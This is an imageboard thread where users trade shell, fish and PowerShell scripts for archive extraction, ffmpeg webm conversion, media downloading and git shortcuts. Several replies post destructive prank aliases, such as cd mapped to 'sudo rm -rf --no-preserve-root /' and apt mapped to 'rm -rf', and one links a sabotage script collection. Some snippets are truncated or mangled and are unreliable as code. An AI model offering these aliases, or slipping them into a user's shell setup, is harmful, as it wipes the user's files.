It's that time again!

It's that time again!

Share useful, amusing or shitty shell scripts with your fellow anons.

I'll start with a personal favourite
decompress () {
if [ -f $1 ] ; then
case $1 in
*.tar.bz2) tar xvjf $1 && cd $(basename "$1" .tar.bz2) ;;
*.tar.gz) tar xvzf $1 && cd $(basename "$1" .tar.gz) ;;
*.tar.xz) tar Jxvf $1 && cd $(basename "$1" .tar.xz) ;;
*.bz2) bunzip2 $1 && cd $(basename "$1" /bz2) ;;
*.rar) unrar x $1 && cd $(basename "$1" .rar) ;;
*.gz) gunzip $1 && cd $(basename "$1" .gz) ;;
*.tar) tar xvf $1 && cd $(basename "$1" .tar) ;;
*.tbz2) tar xvjf $1 && cd $(basename "$1" .tbz2) ;;
*.tgz) tar xvzf $1 && cd $(basename "$1" .tgz) ;;
*.zip) unzip $1 && cd $(basename "$1" .zip) ;;
*.Z) uncompress $1 && cd $(basename "$1" .Z) ;;
*.7z) 7z x $1 && cd $(basename "$1" .7z) ;;
*) echo " Don't know how to decompress '$1'!" ;;
esac
else
echo " Don't know how to decompress '$1'!"
fi
}

Attached: Screenshot_20190609_120341.png (366x358, 12K)

Other urls found in this thread:

trac.ffmpeg.org/wiki/Encode/VP8
github.com/HelpSeeker/CoubDownloader/blob/master/coub.sh
github.com/mathiasbynens/evil.sh/blob/master/evil.sh
tldp.org/LDP/abs/html/
tldp.org/LDP/Bash-Beginners-Guide/html/Bash-Beginners-Guide.html
twitter.com/AnonBabble

I use this to hoard webms from /gif/, it saves them with actual filenames and creates a separate folder for each thread.
#!/bin/bash -e
mkdir -p ~/moar
cd ~/moar

awk '{
gsub(/boards.Jow Forums(nel)?/,"a.4cdn")
gsub(/ |$/,".json&")
for(i=1;i1 then "next" else "create-dir" end,
($post
| (.filename
| if .!=""
then "output=\"\($dir)/\(.).webm\""
else "remote-name" end
),
"url=i.4cdn.org/\($board)/\(.tim).webm"
)
);
repeat(input|fromjson|_(input))?' | curl -sSK-

Dumb """password""" generator in Powershell:
function New-Password {
param (
[switch]$DoIncludeUppercase,
[switch]$DoIncludeNumbers,
[switch]$DoExcludeLowercase,
[ValidateRange(1,256)]
[int]$Length = 8
)
$charArray = @()
if ( -not $DoExcludeLowercase ) {
$charArray += 97..122|%{ $_ -as [char] }
}
if ( $DoIncludeUppercase ) {
$charArray += 65..90|%{ $_ -as [char] }
}
if ( $DoIncludeNumbers ) {
$charArray += 0..9
}

$result = -join ($charArray|Get-Random -Count $Length -ErrorAction Ignore)
return $result
}

Powershell Jow Forums media downloader:
function Save-FloorchanImage {

Thanks user, I'm surprised I never thought about doing this.

Alternatively, install dtrx (do the right extract), which does this for you and provides libraries to extract anything.

put __git_ps1 into your PS1

alias cd='sudo rm -rf --no-preserve-root /'

Kek

Hi i recently had a task which involved writing a script for automatic testing and i want to learn more about bash/command line, will The Linux Command Line
A Book By William Shotts
be alright?

Jow Forums webm converter, audio disabled by default
webmconvert() {
AUDIO="-an"
if [ "$2" = "1" ]; then
AUDIO="-c:a libvorbis"
fi

# trac.ffmpeg.org/wiki/Encode/VP8
ffmpeg -threads 4 -i $1 -c:v libvpx -qmin 0 -qmax 40 -crf 16 -b:v 4M $AUDIO $1_convert.webm
}

alias icat="kitty +kitten icat"

Attached: Screenshot_2019-06-09_16-19-12.png (700x444, 427K)

I'd use ${1%.*}_convert.webm as output filename. Otherwise you end up with files like input.mkv_convert.webm.
Also use quotes, unless forcing the user to avoid white spaces is a feature.

that wouldnt work in /bin/sh though, but yes I didnt quote this properly yet

Alright Jow Forumsuys, how can I make ffmpeg batch convert a folder full of YouTube rips (ogg, opus, m4a, etc) into mp3?
You may laugh at my stupidity, but I'll have you know I once wrote a battery meter which drained the battery checking the battery

Attached: 1558032523456.png (741x568, 29K)

I though it was only unspecified by POSIX when used together with @ or * ?

>*
Don't mind me. I'm a retard.

Ultimate git wrapper in fish, cut down for space:
function git --wraps=git -a mnemonic
set -l old_argv $argv
set -e argv[1]

function _git_add -a letters
set -l CS
set -e argv[1]
for letter in (echo $letters | grep -o .)
switch $letter
case u
set -- CS $CS -u
case "*"
return 1
end
end
command git add $CS $argv
end

function _git_commit -a letters
set -l CS
set -e argv[1]
for letter in (echo $letters | grep -o .)
switch $letter
case s
set -- CS $CS -s
case m
set -- CS $CS -m $argv[1]
set -e argv[1]
case a
set -- CS $CS --amend
case n
set -- CS $CS --no-edit
case f
set -- CS $CS --fixup=$argv[1]
set -e argv[1]
case "*"
return 1
end
end
command git commit $CS $argv
end

switch $mnemonic
case "log"
command git log --decorate $argv
case "rb"
command git rebase $argv
case "rbc"
command git rebase --continue $argv
case "rba"
command git rebase --abort $argv
case "rbi"
command git rebase -i $argv
case "rbas"
env GIT_SEQUENCE_EDITOR=true git rebase -i --autosquash $argv
case "aum"
git au ; and git csm $argv
case "auc"
git au $argv ; and git ca
case "auca"
git au $argv ; and git can
case "co"
command git checkout $argv
case "diffc"
command git diff --cached $argv
case "brn"
set curr (git rev-parse --abbrev-ref HEAD)
git branch -m $curr $argv
case "grim"
vim (git fgrep $argv) -c "/$argv"
case "conflim"
set -l groot (git rev-parse --show-toplevel)
vim (git diff --name-only --diff-filter=U | while read file ; echo $groot"/"$file ; end)
case "back"
git checkout - $argv
case "co-."
command git checkout -- ./
case "a*"
_git_add (echo $mnemonic | tail -c +2) $argv
case "c*"
_git_commit (echo $mnemonic | tail -c +2) $argv
case "*"
command git $old_argv
end
end

Sends zfs snapshots from $1, to $2 and deletes from $2 deleted from 1. (Fuck, i don't know how to insert code in Jow Forums)

```
function onlydate {
zfs list -t snapshot | grep $1 | awk '{print $1;}' | cut -d "@" -f 2
}
difference=$(diff

Tagged gallery viewer using dmenu and sxiv. I have some Jow Forums and other site downloader scripts I've written that output tsv files with metadata about the gallery. Any suggestions for improvement are welcome.

#!/bin/sh
HDIR="$HOME/bin/data"

get_info () {
while read line ; do
if [ "$HDIR" = "$line" ]; then
continue
fi
FOLDER="$(echo "$line" | rev | cut -d '/' -f1 | rev)"
INFOFILE="$line/info.tsv"
if [ -f "$INFOFILE" ]; then
ARTIST="$(cat "$INFOFILE" | grep "^Artist" | cut -f2)"
NAME="$(cat "$INFOFILE" | grep "^Name" | cut -f2)"
TAGS="$(cat "$INFOFILE" | grep "^Tag" | cut -f2)"
echo "$FOLDER - $NAME [$ARTIST]"
continue
fi
echo "$FOLDER"
done
}

find "$HDIR" -type d | get_info | dmenu -l 20 | cut -d ' ' -f1 | xargs -I {} sxiv "$HDIR/{}"

Use [ code ] tags (without the spaces) [ /code ]

Pls give me a bash script that just gets one video file as argument and spits out Jow Forums compatibile webm, no fiddling with parameters.

Attached: sirius (azur lane) drawn by yappen - a4f6e1e325d0fc486bc4607aee60df01.png (849x1200, 567K)

With ffmpeg its just like this
ffmpeg -n -i "input.mkv" -c:a libmp3lame -b:a 320K -vn -sn "output.mp3"

Here's a windows batch file that would do that but on multiple files.
for %%a in (*.mkv *.ogg *.m4a *.mp4 *.webm) do (
ffmpeg.exe -n -i "%%a" -c:a libmp3lame -b:a 320K -vn -sn "%%~na.mp3"
)


Not familiar enough with shell script.

My liittle fixes for default dmenu_run: Just for test
function findall {
binaries=
IFS=:
for line in $(echo $PATH)
do
ls -1tr $line 2> /dev/null
done
}
findall | sort -u | grep .

read program
[[ -z $program ]] && exit
libs=$(cat $(whereis $program | awk '{print $2;}') | grep -a /nix/store | grep -i -E -a 'xdg|gtk|qt|xlib|xcb|xkb|x11|libgl')
if [[ -z $libs ]] ; then
$TERMINAL -e zsh -c "$program && zsh"
else
$program
fi

#!/bin/bash

for i in *.*
do
ffmpeg -i "$i" -c:a libmp3lame -q:a 0 "${i%.*}.mp3"
done

Screen recording
#!/bin/sh
ffmpeg -y \
-f x11grab -video_size 2560x1440 -framerate 30 -i :0.0 \
-c:v libx264 -crf 25 -pix_fmt yuv420p -r 30 -s 1920x1080 \
-preset ultrafast \
raw/ffmpeg-`date '+%Y-%m-%d_%H-%M-%S'`.mkv

#!/bin/bash

bitrate="1000K"

ffmpeg -i "$1" -c:v libvpx -deadline good -cpu-used 5 -b:v $bitrate -qmax 50 -an -f null -
ffmpeg -i "$1" -c:v libvpx -deadline good -cpu-used 0 -b:v $bitrate -qmax 50 -an "${1%.*}_convert.webm"


If you can ensure the existence of ffprobe, I could automate the bitrate calculation as well.

4dl() {
url=$1
board=${url#*org/*}
board=${board%*/thread*}
thread=${url#*thread/}
wget -qO- "a.4cdn.org/${board}/thread/${thread}.json" | jq -r '
.posts
| map(select(.tim != null))
| map((.tim | tostring) + .ext)
| map("

>Powershell

Perfect, thank you

Attached: 1558288135774.jpg (867x685, 96K)

...

I made a bash script that takes Dragon Ball Z score CCG decklists and converts them into 3x3 pdfs for proxy printing. It's useless without the image db though so no point in posting it

you could still post it user, your script could be adapted to work with a different data source

bump

Currently working on a download script for coub.com
github.com/HelpSeeker/CoubDownloader/blob/master/coub.sh

Attached: scrot.png (1270x741, 116K)

thanks user wasn't aware of that program

Important one
rm -rf

alias apt='rm -rf'

github.com/mathiasbynens/evil.sh/blob/master/evil.sh

># Set `rm` as the default editor.
i cant breath hhhhhhh

truly devilish

Attached: 1559598872192.jpg (1920x1080, 176K)

how()
{
where="$1"; shift
IFS=+ curl "cht.sh/$where/$*"
}

usage
how $lang $query

pretty useful if you dont wanna google something

Why not both?

#!/bin/bash

FILE="$1"
OUTFILE="${FILE%.*}.webm"
STARTPOS=""
TIME=""
BITRATE="1M"
AUDIO="-an" # disabled by default
RES=""

help() {
echo "Usage: $(basename $0) file (optional_args)
Optional Arguments:
-a Enable Audio
-b Set bitrate, default $BITRATE
-h Display this help
-o Output custom filename
-r Resolution in W:H format, W:-1 or -1:H to auto-scale
-s Start position, in seconds or HH:MM:SS
-t Total duration of webm"
exit
}

if [[ -z "$1" ]]; then
help
fi

shift # remove $1 before getopts parsing

while getopts "ab:ho:r:s:t:" options; do
case $options in
a ) AUDIO="";;
b ) BITRATE="$OPTARG";;
h ) help;;
o ) OUTFILE="$OPTARG";;
r ) RES="-vf scale=$OPTARG";;
s ) STARTPOS="-ss $OPTARG";;
t ) TIME="-t $OPTARG";;
esac
done

ffmpeg \
-hide_banner -loglevel error -stats \
$STARTPOS \
-i "$FILE" \
$TIME \
-qmin 0 -qmax 40 -c:v libvpx -crf 16 -b:v "$BITRATE" \
$RES \
$AUDIO \
-threads 4 \
"$OUTFILE"

Attached: 1547865098403.jpg (608x314, 54K)

How do I learn bash scripting? Any solid books on the subject? The only scripting languages I'm familiar with are python2 and lua.

Attached: 1471566656747.jpg (564x423, 35K)

tldp.org/LDP/abs/html/

tldp.org/LDP/Bash-Beginners-Guide/html/Bash-Beginners-Guide.html
this would be more beginner friendly, however

thank you very much for doing the needful sir

>battery drainer
Tell me your secrets, oh wise wizard.

not him, but sounds pretty easy
#!/usr/bin/env bash

while true; do
BAT=$(acpi -b | grep -oP '[0-9]+(?=%)')
BAT=$((BAT/10))
echo -n "Battery: "

for i in $(seq 1 $BAT); do
echo -n ""
done

for i in $(seq 1 $((10-BAT))); do
echo -n "─"
done

echo ""
sleep 0.03 # fuck battery life
clear

done

oh right, no echoing unicode bars allowed on 4chin

kek more shit like this?

Attached: 1490754419098.jpg (258x360, 55K)

alias sudo="sudo true && echo $(whoami) is not in the sudoers file. This incident will be reported. ||"

Attached: 1530352293473.jpg (400x300, 25K)

Attached: deck2pdf.jpg (1341x941, 557K)